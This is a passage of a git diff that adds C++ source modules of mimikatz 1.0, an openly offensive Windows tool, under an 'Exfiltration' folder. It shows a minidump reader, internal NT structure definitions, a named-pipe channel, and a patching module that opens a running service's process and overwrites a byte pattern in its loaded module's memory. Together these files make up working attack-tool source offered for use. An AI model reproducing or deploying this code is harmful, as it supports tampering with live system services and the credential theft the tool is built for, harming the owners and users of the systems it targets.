L"MiniDumpWithTokenInformation" +}; + +bool mod_minidump::FlagsToStrings(vector<wstring> * monVecteur) +{ + return FlagsToStrings(getFlags(), monVecteur); +} + +bool mod_minidump::FlagsToStrings(MINIDUMP_TYPE Flags, vector<wstring> * monVecteur) +{ + bool resultat = false; + + if(!Flags) + { + monVecteur->push_back(FlagsString[0]); + resultat = true; + } + else if(Flags & MiniDumpValidTypeFlags) + { + DWORD shift, i; + for(shift = MiniDumpWithDataSegs, i = 1; shift <= MiniDumpWithTokenInformation; shift<<=1, i++) + { + if((Flags & shift) == shift) + monVecteur->push_back(FlagsString[i]); + } + resultat = true; + } + + return resultat; +} + +LPVOID mod_minidump::getStream(MINIDUMP_STREAM_TYPE type) +{ + PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast<PMINIDUMP_DIRECTORY>(RVAtoPTR(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->StreamDirectoryRva)); + for(DWORD i = 0; i < reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->NumberOfStreams; i++) + { + if(mesRepertoires[i].StreamType == type) + return RVAtoPTR(mesRepertoires[i].Location.Rva); + } + return NULL; +} + +PMINIDUMP_MODULE mod_minidump::getMinidumpModule(wstring & nomModule) +{ + if(PMINIDUMP_MODULE_LIST monObject = reinterpret_cast<PMINIDUMP_MODULE_LIST>(getStream(ModuleListStream))) + { + for(DWORD i = 0; i < monObject->NumberOfModules; i++) + { + PMINIDUMP_MODULE monModule = &monObject->Modules[i]; + PMINIDUMP_STRING monModuleString = reinterpret_cast<PMINIDUMP_STRING>(RVAtoPTR(monObject->Modules[i].ModuleNameRva)); + if(mod_text::wstr_ends_with(monModuleString->Buffer, monModuleString->Length / sizeof(wchar_t), nomModule.c_str(), nomModule.size())) + return monModule; + } + } + return NULL; +} + +bool mod_minidump::getStreamsVector(vector<PMINIDUMP_DIRECTORY> * monVecteur) +{ + PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast<PMINIDUMP_DIRECTORY>(RVAtoPTR(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->StreamDirectoryRva)); + for(DWORD i = 0; i < reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->NumberOfStreams; monVecteur->push_back(&mesRepertoires[i++])); + return true; +} + +const wchar_t *StreamTypeString[] = { + L"UnusedStream", + L"ReservedStream0", + L"ReservedStream1", + L"ThreadListStream", + L"ModuleListStream", + L"MemoryListStream", + L"ExceptionStream", + L"SystemInfoStream", + L"ThreadExListStream", + L"Memory64ListStream", + L"CommentStreamA", + L"CommentStreamW", + L"HandleDataStream", + L"FunctionTableStream", + L"UnloadedModuleListStream", + L"MiscInfoStream", + L"MemoryInfoListStream", + L"ThreadInfoListStream", + L"HandleOperationListStream", + L"TokenStream" +}; + +wstring mod_minidump::StreamTypeToString(MINIDUMP_STREAM_TYPE monType) +{ + if(monType <= TokenStream) + return StreamTypeString[monType]; + else + { + wostringstream monStream; + monStream << L"Inconnu (" << monType << L")"; + return monStream.str(); + } +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_minidump.h b/Exfiltration/mimikatz-1.0/modules/mod_minidump.h new file mode 100644 index 0000000..4247ab0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_minidump.h @@ -0,0 +1,33 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <dbghelp.h> +#include "mod_text.h" + +class mod_minidump +{ +private: + HANDLE monFichier, monFileMapping; + LPVOID mesDonnees; + +public: + mod_minidump(); + virtual ~mod_minidump(void); + + LPVOID RVAtoPTR(RVA monRVA); + bool open(wchar_t * filename); + LPVOID getStream(MINIDUMP_STREAM_TYPE type); + + PMINIDUMP_MODULE getMinidumpModule(wstring & nomModule); + bool getStreamsVector(vector<PMINIDUMP_DIRECTORY> * monVecteur); + MINIDUMP_TYPE getFlags(); + bool FlagsToStrings(vector<wstring> * monVecteur); + + + static wstring StreamTypeToString(MINIDUMP_STREAM_TYPE monType); + static bool FlagsToStrings(MINIDUMP_TYPE Flags, vector<wstring> * monVecteur); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h b/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h new file mode 100644 index 0000000..7188f2d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h @@ -0,0 +1,322 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include <windows.h> +#include <ntsecapi.h> + +typedef LONG KPRIORITY; +typedef void** PPVOID; + +typedef enum _SYSTEM_INFORMATION_CLASS { + SystemBasicInformation, + SystemProcessorInformation, + SystemPerformanceInformation, + SystemTimeOfDayInformation, + SystemPathInformation, + SystemProcessInformation, + SystemCallCountInformation, + SystemDeviceInformation, + SystemProcessorPerformanceInformation, + SystemFlagsInformation, + SystemCallTimeInformation, + SystemModuleInformation, + SystemLocksInformation, + SystemStackTraceInformation, + SystemPagedPoolInformation, + SystemNonPagedPoolInformation, + SystemHandleInformation, + SystemObjectInformation, + SystemPageFileInformation, + SystemVdmInstemulInformation, + SystemVdmBopInformation, + SystemFileCacheInformation, + SystemPoolTagInformation, + SystemInterruptInformation, + SystemDpcBehaviorInformation, + SystemFullMemoryInformation, + SystemLoadGdiDriverInformation, + SystemUnloadGdiDriverInformation, + SystemTimeAdjustmentInformation, + SystemSummaryMemoryInformation, + SystemNextEventIdInformation, + SystemEventIdsInformation, + SystemCrashDumpInformation, + SystemExceptionInformation, + SystemCrashDumpStateInformation, + SystemKernelDebuggerInformation, + SystemContextSwitchInformation, + SystemRegistryQuotaInformation, + SystemExtendServiceTableInformation, + SystemPrioritySeperation, + SystemPlugPlayBusInformation, + SystemDockInformation, + KIWI_SystemPowerInformation, + SystemProcessorSpeedInformation, + SystemCurrentTimeZoneInformation, + SystemLookasideInformation, + KIWI_SystemMmSystemRangeStart = 50 +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectAllInformation, + ObjectDataInformation +} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS; + + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, // Note: this is kernel mode only + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + ProcessIoPriority, + ProcessExecuteFlags, + ProcessTlsInformation, + ProcessCookie, + ProcessImageInformation, + ProcessCycleTime, + ProcessPagePriority, + ProcessInstrumentationCallback, + ProcessThreadStackAllocation, + ProcessWorkingSetWatchEx, + ProcessImageFileNameWin32, + ProcessImageFileMapping, + ProcessAffinityUpdateMode, + ProcessMemoryAllocationMode, + ProcessGroupInformation, + ProcessTokenVirtualizationEnabled, + ProcessConsoleHostProcess, + ProcessWindowInformation, + MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum +} PROCESSINFOCLASS; + +typedef enum _POOL_TYPE +{ + NonPagedPool, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS +} POOL_TYPE, *PPOOL_TYPE; + +typedef struct _PROCESS_SESSION_INFORMATION { + ULONG SessionId; +} PROCESS_SESSION_INFORMATION, *PPROCESS_SESSION_INFORMATION; + +typedef struct _PROCESS_ACCESS_TOKEN { + HANDLE Token; + HANDLE Thread; +} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN; + +typedef struct _OBJECT_TYPE_INFORMATION +{ + UNICODE_STRING Name; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccess; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + USHORT MaintainTypeList; + POOL_TYPE PoolType; + ULONG PagedPoolUsage; + ULONG NonPagedPoolUsage; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + DWORD EntryPointActivationContext; //_ACTIVATION_CONTEXT * EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + + +typedef struct _PEB_LDR_DATA { + ULONG Length; + BOOLEAN Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModulevector; + LIST_ENTRY InMemoryOrderModulevector; + LIST_ENTRY InInitializationOrderModulevector; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBaseAddress; + PPEB_LDR_DATA LoaderData; + PVOID ProcessParameters; //PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; //PPEBLOCKROUTINE FastPebLockRoutine; + PVOID FastPebUnlockRoutine; //PPEBLOCKROUTINE FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PPVOID KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + DWORD Freevector; //PPEB_FREE_BLOCK Freevector; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PPVOID ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PPVOID *ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributevector; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, *PPEB; + +typedef struct _PROCESS_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION { + SIZE_T Size; // Must be set to structure size on input + PROCESS_BASIC_INFORMATION BasicInfo; + union { + ULONG Flags; + struct { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG SpareBits : 28; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _SYSTEM_HANDLE +{ + DWORD ProcessId; + BYTE ObjectTypeNumber; + BYTE Flags; + USHORT Handle; + PVOID Object; + ACCESS_MASK GrantedAccess; +} SYSTEM_HANDLE, *PSYSTEM_HANDLE; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + DWORD HandleCount; + SYSTEM_HANDLE Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef NTSTATUS (WINAPI * PNT_QUERY_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __out PVOID ProcessInformation, __in ULONG ProcessInformationLength, __out_opt PULONG ReturnLength); +typedef NTSTATUS (WINAPI * PNT_SET_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in PVOID ProcessInformation, __in ULONG ProcessInformationLength); +typedef NTSTATUS (WINAPI * PNT_SUSPEND_PROCESS) (__in HANDLE ProcessHandle); +typedef NTSTATUS (WINAPI * PNT_RESUME_PROCESS) (__in HANDLE ProcessHandle); +typedef NTSTATUS (WINAPI * PNT_QUERY_SYSTEM_INFORMATION) (__in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength); +typedef NTSTATUS (WINAPI * PNT_QUERY_OBJECT) (__in_opt HANDLE Handle, __in OBJECT_INFORMATION_CLASS ObjectInformationClass, __out_opt PVOID ObjectInformation, __in ULONG ObjectInformationLength, __out_opt PULONG ReturnLength); +typedef NTSTATUS (WINAPI * PNT_FILTER_TOKEN) (__in HANDLE ExistingTokenHandle, __in ULONG Flags, __in PTOKEN_GROUPS SidsToDisable, __in PTOKEN_PRIVILEGES PrivilegeToDelete, __in PTOKEN_GROUPS SidsToRestricted, __out PHANDLE NewTokenHandle);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp b/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp new file mode 100644 index 0000000..3388c3e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp @@ -0,0 +1,38 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_parseur.h" + +vector<wstring> mod_parseur::parse(const wstring & line) +{ + vector<wstring> result; + + wstring item; + wstringstream ss(line); + + while(ss >> item) + { + if (item[0] == L'"') + { + if (item[item.length() - 1] == L'"') + { + result.push_back(item.substr(1, item.length() -2)); + } + else + { + wstring restOfItem; + getline(ss, restOfItem, L'"'); + result.push_back(item.substr(1) + restOfItem); + } + } + else + { + result.push_back(item); + } + } + + return result; +} + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_parseur.h b/Exfiltration/mimikatz-1.0/modules/mod_parseur.h new file mode 100644 index 0000000..e897aba --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_parseur.h @@ -0,0 +1,15 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <sstream> + +class mod_parseur +{ +public: + static vector<wstring> parse(const wstring & line); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp b/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp new file mode 100644 index 0000000..95b46c6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp @@ -0,0 +1,146 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_patch.h" +#include "..\mimikatz\global.h" + +bool mod_patch::patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace) +{ + bool reussite = false; + + mod_service::KIWI_SERVICE_STATUS_PROCESS monService; + if(mod_service::getUniqueForName(&monService, &serviceName)) + { + if(monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOPPED && monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOP_PENDING) + { + (*outputStream) << L"Service : " << monService.serviceDisplayName << endl; + reussite = patchModuleOfPID(monService.ServiceStatusProcess.dwProcessId, moduleName, patternToSearch, szPatternToSearch, patternToPlace, szPatternToPlace, offsetForPlace); + } + else (*outputStream) << L"Le service : " << serviceName << L" (" << monService.serviceDisplayName << L") ; n\'a pas l\'air très actif" << endl; + } + else (*outputStream) << L"Impossible de trouver le service : " << serviceName << L" ; " << mod_system::getWinError() << endl; + + return reussite; +} + +bool mod_patch::patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace) +{ + bool reussite = false; + + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, (moduleName.empty() ? NULL : &moduleName), &pid)) + { + BYTE * baseAddr = monModule.modBaseAddr; + DWORD taille = monModule.modBaseSize; + + if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid)) + { + (*outputStream) << L"Recherche des patterns dans : " << moduleName << L"@pid(" << pid << L")" << endl; + + BYTE * addrPattern = NULL; + if(mod_memory::searchMemory(baseAddr, baseAddr + taille, patternToSearch, &addrPattern, szPatternToSearch, true, processHandle)) + { + reussite = mod_memory::writeMemory(addrPattern + offsetForPlace, patternToPlace, szPatternToPlace, processHandle); + (*outputStream) << L"Patch " << moduleName << L"@pid(" << pid << L") : " << (reussite ? L"OK" : L"KO") << endl; + } + else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl; + + CloseHandle(processHandle); + } + else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl; + return reussite; +} + +bool mod_patch::getFullVersion(DWORD * majorVersion, DWORD * minorVersion, DWORD * build, bool * isServer, bool * is64) +{ + bool reussite = false; + + OSVERSIONINFOEX maVersion; + if(reussite = mod_system::getVersion(&maVersion)) + { + if(majorVersion) *majorVersion = maVersion.dwMajorVersion; + if(majorVersion) *minorVersion = maVersion.dwMinorVersion; + if(build) *build = maVersion.dwBuildNumber; + if(isServer) *isServer = maVersion.wProductType != VER_NT_WORKSTATION; + + if(is64) + { + SYSTEM_INFO mesInfos; + GetNativeSystemInfo(&mesInfos); + + *is64 = (mesInfos.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64); + } + } + + return reussite; +} + +bool mod_patch::checkVersion(KIWI_OS_CHECK * monOsValide) +{ + bool reussite = false; + + DWORD majorVersion, minorVersion, build; + bool isServer, is64; + + if(getFullVersion(&majorVersion, &minorVersion, &build, &isServer, &is64)) + { + reussite = + (monOsValide->majorVersion == majorVersion) && + (monOsValide->minorVersion == minorVersion) && + ((monOsValide->build == build) || (monOsValide->build == 0)) && + (monOsValide->isServer == isServer) && + (monOsValide->is64 == is64) + ; + } + else (*outputStream) << L"mod_patch::getFullVersion : " << mod_system::getWinError() << endl; + return reussite; +} + +bool mod_patch::checkVersion(OS monOsValide) +{ + KIWI_OS_CHECK kOs; + switch(monOsValide) + { + case WINDOWS_2000_PRO_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_2000_SRV_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; + + case WINDOWS_XP_PRO___x86: kOs.majorVersion = 5; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_XP_PRO___x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; + + case WINDOWS_2003_____x86: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; + case WINDOWS_2003_____x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; + + case WINDOWS_VISTA____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_VISTA____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; + + case WINDOWS_2008_____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; + case WINDOWS_2008_____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; + + case WINDOWS_SEVEN____x86: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_SEVEN____x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; + + case WINDOWS_2008r2___x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; + } + + return checkVersion(&kOs); +} + + +bool mod_patch::checkVersion(vector<OS> * vectorValid) +{ + bool reussite = false; + + for(vector<OS>::iterator monOs = vectorValid->begin(); monOs != vectorValid->end() && !reussite; monOs++) + { + reussite = checkVersion(*monOs); + } + + if(!reussite) + (*outputStream) << L"La version du système d\'exploitation actuelle n\'est pas supportée par cette fonction." << endl; + + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_patch.h b/Exfiltration/mimikatz-1.0/modules/mod_patch.h new file mode 100644 index 0000000..1ae901d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_patch.h @@ -0,0 +1,57 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_service.h" +#include <iostream> + +class mod_patch +{ +public: + typedef struct _KIWI_OS_CHECK + { + DWORD majorVersion; + DWORD minorVersion; + DWORD build; + bool isServer; + bool is64; + } KIWI_OS_CHECK, *PKIWI_OS_CHECK; + + enum OS + { + WINDOWS_2000_PRO_x86, + WINDOWS_2000_SRV_x86, + + WINDOWS_XP_PRO___x86, + WINDOWS_XP_PRO___x64, + WINDOWS_2003_____x86, + WINDOWS_2003_____x64, + + WINDOWS_VISTA____x86, + WINDOWS_VISTA____x64, + WINDOWS_2008_____x86, + WINDOWS_2008_____x64, + + WINDOWS_SEVEN____x86, + WINDOWS_SEVEN____x64, + WINDOWS_2008r2___x64, + + WINDOWS_8________x86, + WINDOWS_8________x64, + WINDOWS_8_SERVER_x64 + }; + + static bool getFullVersion(DWORD * majorVersion = NULL, DWORD * minorVersion = NULL, DWORD * build = NULL, bool * isServer = NULL, bool * is64 = NULL); + static bool checkVersion(KIWI_OS_CHECK * monOsValide); + static bool checkVersion(OS monOsValide); + static bool checkVersion(vector<OS> * vectorValid); + + static bool patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0); + static bool patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp b/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp new file mode 100644 index 0000000..bd62e9e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp @@ -0,0 +1,121 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_pipe.h" + +mod_pipe::mod_pipe(wstring pipeName, wstring serveur) : hPipe(INVALID_HANDLE_VALUE), pipePath(L"\\\\") +{ + pipePath.append(serveur); + pipePath.append(L"\\pipe\\"); + pipePath.append(pipeName); +} + +mod_pipe::~mod_pipe(void) +{ + closePipe(); +} + +bool mod_pipe::closePipe() +{ + bool reussite = false; + + if(hPipe != INVALID_HANDLE_VALUE && hPipe) + { + FlushFileBuffers(hPipe); + DisconnectNamedPipe(hPipe); + reussite = CloseHandle(hPipe) == TRUE; + } + return reussite; +} + +bool mod_pipe::readFromPipe(wstring &laReponse) +{ + bool reussite = false; + wchar_t monBuffer[128]; + + bool fSuccess; + DWORD longueurReponse; + laReponse.clear(); + + do + { + fSuccess = ReadFile(hPipe, monBuffer, sizeof(monBuffer), &longueurReponse, NULL) ? true : false; + if (reussite = (fSuccess || GetLastError() == ERROR_MORE_DATA)/* && longueurReponse != 0 */) + { + laReponse.append(monBuffer, longueurReponse / sizeof(wchar_t)); + } + else + { + break; + } + } while (!fSuccess); + + return reussite; +} + +bool mod_pipe::writeToPipe(const wstring &leMessage) +{ + bool reussite = false; + DWORD longueurMessage; + DWORD longueurOctetsEcris; + + longueurMessage = (static_cast<DWORD>(leMessage.size())) * sizeof(wchar_t); + + if (WriteFile(hPipe, leMessage.c_str(), longueurMessage, &longueurOctetsEcris, NULL) && longueurMessage == longueurOctetsEcris) + { + reussite = FlushFileBuffers(hPipe) != 0; + } + return reussite; +} + + +bool mod_pipe::createServer() +{ + bool reussite = false; + + if(!hPipe || hPipe == INVALID_HANDLE_VALUE) + { + hPipe = CreateNamedPipe(pipePath.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 0, 0, 30000, NULL); + + if (hPipe && hPipe != INVALID_HANDLE_VALUE) + { + reussite = ConnectNamedPipe(hPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED); + } + else + { + closePipe(); + } + } + return reussite; +} + +bool mod_pipe::createClient() +{ + bool reussite = false; + + if(!hPipe || hPipe == INVALID_HANDLE_VALUE) + { + if (WaitNamedPipe(pipePath.c_str(), NMPWAIT_USE_DEFAULT_WAIT)) + { + hPipe = CreateFile(pipePath.c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + + if (hPipe != INVALID_HANDLE_VALUE) + { + DWORD dwMode = PIPE_READMODE_MESSAGE | PIPE_WAIT; + + if (!(reussite = SetNamedPipeHandleState(hPipe, &dwMode, NULL, NULL) != 0)) + { + closePipe(); + } + } + } + } + return reussite; +} + +bool mod_pipe::isConnected() +{ + return (hPipe && hPipe != INVALID_HANDLE_VALUE); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_pipe.h b/Exfiltration/mimikatz-1.0/modules/mod_pipe.h new file mode 100644 index 0000000..69ab9e9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_pipe.h @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_pipe +{ +private: + HANDLE hPipe; + wstring pipePath; + +public: + mod_pipe(wstring pipeName = L"mimikatz\\kiwi", wstring serveur = L"."); + virtual ~mod_pipe(void); + + bool closePipe(); + + bool readFromPipe(wstring &laReponse); + bool writeToPipe(const wstring &leMessage); + + bool createServer(); + bool createClient(); + + bool isConnected(); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp b/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp new file mode 100644 index 0000000..34324b6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp @@ -0,0 +1,95 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + 